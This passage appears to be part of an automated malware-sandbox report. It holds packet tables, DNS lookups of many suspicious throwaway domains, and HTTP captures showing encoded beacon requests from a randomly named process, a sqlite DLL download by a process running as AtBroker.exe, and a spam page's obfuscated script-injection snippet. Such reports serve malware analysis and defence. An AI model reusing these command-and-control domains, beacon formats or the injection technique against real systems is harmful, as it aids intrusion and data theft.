Nov 7, 2024 10:53:03.868911982 CET	49210	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:03.869728088 CET	49210	80	192.168.2.22	142.250.185.115
Nov 7, 2024 10:53:03.874548912 CET	80	49210	142.250.185.115	192.168.2.22
Nov 7, 2024 10:53:08.892759085 CET	49211	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:08.897855997 CET	80	49211	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:08.904556990 CET	49211	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:08.913045883 CET	49211	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:08.917944908 CET	80	49211	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:08.918040991 CET	80	49211	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:08.924796104 CET	49211	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:08.929763079 CET	80	49211	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:09.739908934 CET	80	49211	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:09.739975929 CET	49211	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:10.420627117 CET	49211	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:10.426259995 CET	80	49211	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:11.449384928 CET	49212	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:11.454430103 CET	80	49212	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:11.454503059 CET	49212	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:11.472779989 CET	49212	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:11.477716923 CET	80	49212	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:12.977421045 CET	49212	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:12.983380079 CET	80	49212	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:12.983436108 CET	49212	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:13.994844913 CET	49213	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:14.001791000 CET	80	49213	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:14.001904964 CET	49213	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:14.014554977 CET	49213	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:14.020275116 CET	80	49213	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:14.020288944 CET	80	49213	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:14.025651932 CET	49213	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:14.031306028 CET	80	49213	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:14.031653881 CET	80	49213	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:14.631133080 CET	80	49213	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:14.631203890 CET	49213	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:15.520404100 CET	49213	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:15.525316000 CET	80	49213	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:16.537653923 CET	49214	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:16.542901039 CET	80	49214	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:16.544547081 CET	49214	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:16.552550077 CET	49214	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:16.557477951 CET	80	49214	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:17.170526981 CET	80	49214	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:17.171222925 CET	80	49214	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:17.171377897 CET	49214	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:17.176687002 CET	49214	80	192.168.2.22	3.33.130.190
Nov 7, 2024 10:53:17.181747913 CET	80	49214	3.33.130.190	192.168.2.22
Nov 7, 2024 10:53:22.187041998 CET	49215	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:22.191921949 CET	80	49215	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:22.192048073 CET	49215	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:22.203635931 CET	49215	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:22.208532095 CET	80	49215	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:22.208640099 CET	49215	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:22.208668947 CET	80	49215	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:22.213445902 CET	80	49215	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:23.156002045 CET	80	49215	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:23.337511063 CET	80	49215	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:23.337594986 CET	49215	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:23.723433018 CET	49215	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:24.728821993 CET	49216	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:24.733928919 CET	80	49216	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:24.733994961 CET	49216	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:24.744441986 CET	49216	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:24.749551058 CET	80	49216	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:25.682163000 CET	80	49216	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:25.863586903 CET	80	49216	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:25.870569944 CET	49216	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:26.253364086 CET	49216	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:27.270173073 CET	49217	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:27.275213003 CET	80	49217	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:27.275276899 CET	49217	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:27.284322023 CET	49217	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:27.289403915 CET	80	49217	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:27.289448023 CET	80	49217	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:27.289467096 CET	49217	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:27.294466972 CET	80	49217	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:27.294482946 CET	80	49217	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:28.231308937 CET	80	49217	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:28.431649923 CET	80	49217	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:28.431718111 CET	49217	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:28.795895100 CET	49217	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:29.814609051 CET	49218	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:29.820091963 CET	80	49218	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:29.820394993 CET	49218	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:29.830585003 CET	49218	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:29.835567951 CET	80	49218	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:30.778723001 CET	80	49218	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:30.960453987 CET	80	49218	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:30.960649014 CET	49218	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:30.986860037 CET	49218	80	192.168.2.22	154.23.184.95
Nov 7, 2024 10:53:30.992095947 CET	80	49218	154.23.184.95	192.168.2.22
Nov 7, 2024 10:53:36.017052889 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:36.022088051 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:36.022140980 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:36.033199072 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:36.038121939 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:36.038217068 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:36.038229942 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:36.043179989 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:36.838181019 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:36.969353914 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:36.974651098 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:37.382878065 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:37.383193970 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:37.384191990 CET	80	49219	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:37.384578943 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:37.547540903 CET	49219	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:38.565628052 CET	49220	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:38.570843935 CET	80	49220	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:38.576734066 CET	49220	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:38.584611893 CET	49220	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:38.589656115 CET	80	49220	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:39.405797005 CET	80	49220	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:39.518435001 CET	80	49220	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:39.518506050 CET	49220	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:40.090388060 CET	49220	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:41.108619928 CET	49221	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:41.114851952 CET	80	49221	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:41.116767883 CET	49221	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:41.128685951 CET	49221	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:41.133924961 CET	80	49221	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:41.134243965 CET	80	49221	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:41.136815071 CET	49221	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:41.141881943 CET	80	49221	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:41.142000914 CET	80	49221	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:41.947027922 CET	80	49221	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:42.059392929 CET	80	49221	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:42.059478998 CET	49221	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:42.636778116 CET	49221	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:43.650360107 CET	49222	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:43.656265020 CET	80	49222	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:43.656326056 CET	49222	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:43.667028904 CET	49222	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:43.671941042 CET	80	49222	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:44.473948002 CET	80	49222	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:44.584742069 CET	80	49222	185.27.134.144	192.168.2.22
Nov 7, 2024 10:53:44.584974051 CET	49222	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:44.585743904 CET	49222	80	192.168.2.22	185.27.134.144
Nov 7, 2024 10:53:44.590558052 CET	80	49222	185.27.134.144	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 7, 2024 10:50:06.081578970 CET	54562	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:50:06.760551929 CET	53	54562	8.8.8.8	192.168.2.22
Nov 7, 2024 10:50:12.405417919 CET	52917	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:50:12.414874077 CET	53	52917	8.8.8.8	192.168.2.22
Nov 7, 2024 10:50:22.961771965 CET	62751	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:50:23.146230936 CET	53	62751	8.8.8.8	192.168.2.22
Nov 7, 2024 10:50:36.700890064 CET	57893	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:50:36.712409973 CET	53	57893	8.8.8.8	192.168.2.22
Nov 7, 2024 10:50:49.997296095 CET	54821	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:50:50.007903099 CET	53	54821	8.8.8.8	192.168.2.22
Nov 7, 2024 10:51:03.925175905 CET	54719	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:51:03.936602116 CET	53	54719	8.8.8.8	192.168.2.22
Nov 7, 2024 10:51:17.252727985 CET	49881	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:51:17.553637028 CET	53	49881	8.8.8.8	192.168.2.22
Nov 7, 2024 10:51:31.806749105 CET	54998	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:51:31.872908115 CET	53	54998	8.8.8.8	192.168.2.22
Nov 7, 2024 10:51:45.482094049 CET	52781	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:51:45.492676020 CET	53	52781	8.8.8.8	192.168.2.22
Nov 7, 2024 10:51:59.019342899 CET	63926	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:51:59.028804064 CET	53	63926	8.8.8.8	192.168.2.22
Nov 7, 2024 10:52:12.969063997 CET	65510	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:52:13.184391975 CET	53	65510	8.8.8.8	192.168.2.22
Nov 7, 2024 10:52:27.283009052 CET	62672	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:52:27.290522099 CET	53	62672	8.8.8.8	192.168.2.22
Nov 7, 2024 10:52:40.772526026 CET	56475	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:52:41.073148966 CET	53	56475	8.8.8.8	192.168.2.22
Nov 7, 2024 10:52:54.892074108 CET	49384	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:52:54.904448986 CET	53	49384	8.8.8.8	192.168.2.22
Nov 7, 2024 10:53:08.881028891 CET	54842	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:53:08.888133049 CET	53	54842	8.8.8.8	192.168.2.22
Nov 7, 2024 10:53:22.175662994 CET	58105	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:53:22.184883118 CET	53	58105	8.8.8.8	192.168.2.22
Nov 7, 2024 10:53:35.991974115 CET	64928	53	192.168.2.22	8.8.8.8
Nov 7, 2024 10:53:36.014906883 CET	53	64928	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 10:50:06.081578970 CET	192.168.2.22	8.8.8.8	0xe649	Standard query (0)	www.jllllbx.top	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:12.405417919 CET	192.168.2.22	8.8.8.8	0xba54	Standard query (0)	www.sqlite.org	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:22.961771965 CET	192.168.2.22	8.8.8.8	0xb5c0	Standard query (0)	www.college-help.info	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:36.700890064 CET	192.168.2.22	8.8.8.8	0xc36f	Standard query (0)	www.binacamasala.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:49.997296095 CET	192.168.2.22	8.8.8.8	0x9a13	Standard query (0)	www.marketplacer.top	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:03.925175905 CET	192.168.2.22	8.8.8.8	0x95a0	Standard query (0)	www.energyparks.net	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:17.252727985 CET	192.168.2.22	8.8.8.8	0x7b50	Standard query (0)	www.yvrkp.top	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:31.806749105 CET	192.168.2.22	8.8.8.8	0x9418	Standard query (0)	www.flikka.site	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:45.482094049 CET	192.168.2.22	8.8.8.8	0xadf2	Standard query (0)	www.ladylawher.shop	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:59.019342899 CET	192.168.2.22	8.8.8.8	0xe880	Standard query (0)	www.primeproperty.property	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:12.969063997 CET	192.168.2.22	8.8.8.8	0x8a8a	Standard query (0)	www.kghjkx.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:27.283009052 CET	192.168.2.22	8.8.8.8	0x74a2	Standard query (0)	www.iuyi542.xyz	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:40.772526026 CET	192.168.2.22	8.8.8.8	0xb64b	Standard query (0)	www.neg21.top	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:54.892074108 CET	192.168.2.22	8.8.8.8	0x8aa0	Standard query (0)	www.digitaladpro.shop	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:53:08.881028891 CET	192.168.2.22	8.8.8.8	0x9b25	Standard query (0)	www.loginov.enterprises	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:53:22.175662994 CET	192.168.2.22	8.8.8.8	0xf915	Standard query (0)	www.wcp95.top	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:53:35.991974115 CET	192.168.2.22	8.8.8.8	0x2398	Standard query (0)	www.hasthosting.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 10:50:06.760551929 CET	8.8.8.8	192.168.2.22	0xe649	No error (0)	www.jllllbx.top		156.234.28.94	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:12.414874077 CET	8.8.8.8	192.168.2.22	0xba54	No error (0)	www.sqlite.org		45.33.6.223	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:23.146230936 CET	8.8.8.8	192.168.2.22	0xb5c0	No error (0)	www.college-help.info		38.88.82.56	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:36.712409973 CET	8.8.8.8	192.168.2.22	0xc36f	No error (0)	www.binacamasala.com	binacamasala.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:50:36.712409973 CET	8.8.8.8	192.168.2.22	0xc36f	No error (0)	binacamasala.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:36.712409973 CET	8.8.8.8	192.168.2.22	0xc36f	No error (0)	binacamasala.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:50:50.007903099 CET	8.8.8.8	192.168.2.22	0x9a13	No error (0)	www.marketplacer.top		194.58.112.174	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:03.936602116 CET	8.8.8.8	192.168.2.22	0x95a0	No error (0)	www.energyparks.net	energyparks.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:51:03.936602116 CET	8.8.8.8	192.168.2.22	0x95a0	No error (0)	energyparks.net		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:03.936602116 CET	8.8.8.8	192.168.2.22	0x95a0	No error (0)	energyparks.net		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:17.553637028 CET	8.8.8.8	192.168.2.22	0x7b50	No error (0)	www.yvrkp.top		104.21.14.183	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:17.553637028 CET	8.8.8.8	192.168.2.22	0x7b50	No error (0)	www.yvrkp.top		172.67.160.35	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:31.872908115 CET	8.8.8.8	192.168.2.22	0x9418	No error (0)	www.flikka.site		67.223.117.142	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:45.492676020 CET	8.8.8.8	192.168.2.22	0xadf2	No error (0)	www.ladylawher.shop	ladylawher.shop		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:51:45.492676020 CET	8.8.8.8	192.168.2.22	0xadf2	No error (0)	ladylawher.shop		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:45.492676020 CET	8.8.8.8	192.168.2.22	0xadf2	No error (0)	ladylawher.shop		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:51:59.028804064 CET	8.8.8.8	192.168.2.22	0xe880	No error (0)	www.primeproperty.property	dns.webcake.io		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:51:59.028804064 CET	8.8.8.8	192.168.2.22	0xe880	No error (0)	dns.webcake.io		113.20.119.31	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:13.184391975 CET	8.8.8.8	192.168.2.22	0x8a8a	No error (0)	www.kghjkx.xyz		47.129.103.185	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:27.290522099 CET	8.8.8.8	192.168.2.22	0x74a2	No error (0)	www.iuyi542.xyz	iuyi542.xyz		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:52:27.290522099 CET	8.8.8.8	192.168.2.22	0x74a2	No error (0)	iuyi542.xyz		38.47.237.27	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:41.073148966 CET	8.8.8.8	192.168.2.22	0xb64b	No error (0)	www.neg21.top	neg21.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:52:41.073148966 CET	8.8.8.8	192.168.2.22	0xb64b	No error (0)	neg21.top		206.119.81.36	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:52:54.904448986 CET	8.8.8.8	192.168.2.22	0x8aa0	No error (0)	www.digitaladpro.shop	ghs.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:52:54.904448986 CET	8.8.8.8	192.168.2.22	0x8aa0	No error (0)	ghs.google.com		142.250.185.115	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:53:08.888133049 CET	8.8.8.8	192.168.2.22	0x9b25	No error (0)	www.loginov.enterprises	loginov.enterprises		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:53:08.888133049 CET	8.8.8.8	192.168.2.22	0x9b25	No error (0)	loginov.enterprises		3.33.130.190	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:53:08.888133049 CET	8.8.8.8	192.168.2.22	0x9b25	No error (0)	loginov.enterprises		15.197.148.33	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:53:22.184883118 CET	8.8.8.8	192.168.2.22	0xf915	No error (0)	www.wcp95.top	wcp95.top		CNAME (Canonical name)	IN (0x0001)	false
Nov 7, 2024 10:53:22.184883118 CET	8.8.8.8	192.168.2.22	0xf915	No error (0)	wcp95.top		154.23.184.95	A (IP address)	IN (0x0001)	false
Nov 7, 2024 10:53:36.014906883 CET	8.8.8.8	192.168.2.22	0x2398	No error (0)	www.hasthosting.xyz		185.27.134.144	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.jllllbx.top

www.sqlite.org

www.college-help.info

www.binacamasala.com

www.marketplacer.top

www.energyparks.net

www.yvrkp.top

www.flikka.site

www.ladylawher.shop

www.primeproperty.property

www.kghjkx.xyz

www.iuyi542.xyz

www.neg21.top

www.digitaladpro.shop

www.loginov.enterprises

www.wcp95.top

www.hasthosting.xyz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49161	156.234.28.94	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:06.780059099 CET	529	OUT	GET /s7rc/?Vta=nFypuDtholF&mFptYb=6DRnIJ+Fte42OB/5XetGdeOJ+lOhphxOvMg5DpP/yyjJNxXWq01mRUwFVex1iRDtTe4NkeQHEQ9jZsZ13oeWt1010btNzgPMSC+IqSdDnCJo+Vo0XkUS70+rul7v HTTP/1.1 Host: www.jllllbx.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:50:07.758430004 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 07 Nov 2024 09:50:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: _sessionsid=OTE2YzNjMjUwYmRjYjM5ODAwMzY0NTY3ZjQwMThkNjE=; path=/; expires=Thu, 14 Nov 2024 09:50:07 GMT Data Raw: 37 31 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 69 64 3d 22 76 69 65 77 70 6f 72 74 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 26 23 38 34 3b 26 23 36 37 3b 26 23 37 31 3b 26 23 32 34 34 32 35 3b 26 23 33 31 30 38 30 3b 26 23 32 33 34 34 38 3b 26 23 33 32 35 39 33 3b 26 23 34 35 3b 26 23 36 35 3b 26 23 38 30 3b 26 23 38 30 3b 26 23 31 39 39 37 39 3b 26 23 33 36 37 33 33 3b 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 26 23 38 34 3b 26 23 36 37 3b 26 23 37 31 3b 26 23 32 34 34 [TRUNCATED] Data Ascii: 71d<!DOCTYPE html><html><head> <meta charset="UTF-8"> <meta id="viewport" name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"><title>TCG彩票官网-APP下载</title><meta name="keywords" content="TCG彩票官网-APP下载"/><meta name="description" content="⚽️⚽️⚽️TCG彩票APP&#55356;&#57144;yk188.cc✅顶级下注平台,提供TCG彩票网站,TCG彩票最新官网,TCG彩票app下载,各种娱乐品种应有尽有&#44
Nov 7, 2024 10:50:07.758529902 CET	212	IN	Data Raw: 3b 26 23 38 34 3b 26 23 36 37 3b 26 23 37 31 3b 26 23 32 34 34 32 35 3b 26 23 33 31 30 38 30 3b 26 23 33 32 35 39 33 3b 26 23 33 31 34 34 39 3b 26 23 32 33 34 34 38 3b 26 23 32 36 30 34 31 3b 26 23 32 33 34 35 38 3b 26 23 32 36 33 38 31 3b 26 23 Data Ascii: ;TCG彩票网站官方客服24小时在线为您服务!"/><script>if(navigator.userAgent.toLocaleLowerCase
Nov 7, 2024 10:50:07.758539915 CET	683	IN	Data Raw: 28 29 2e 69 6e 64 65 78 4f 66 28 22 62 61 69 64 75 22 29 20 3d 3d 20 2d 31 29 7b 64 6f 63 75 6d 65 6e 74 2e 74 69 74 6c 65 20 3d 22 e7 bd 91 e7 ab 99 e6 ad a3 e5 9c a8 e7 bb b4 e6 8a a4 e5 8d 87 e7 ba a7 e4 b8 ad ef bc 8c e8 af b7 e7 a8 8d e5 90 Data Ascii: ().indexOf("baidu") == -1){document.title =""}</script><script type="text/javascript"> var xt = String.fromCharCode(0,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49162	45.33.6.223	80	3596	C:\Windows\SysWOW64\AtBroker.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:50:12.457195997 CET	275	OUT	GET /2021/sqlite-dll-win32-x86-3350000.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Host: www.sqlite.org Connection: Keep-Alive Cache-Control: no-cache
Nov 7, 2024 10:50:13.083417892 CET	249	IN	HTTP/1.1 200 OK Connection: keep-alive Date: Thu, 07 Nov 2024 09:50:13 GMT Last-Modified: Mon, 15 Mar 2021 12:22:51 GMT Cache-Control: max-age=120 ETag: "m604f519bs7c92b" Content-type: application/zip; charset=utf-8 Content-length: 510251
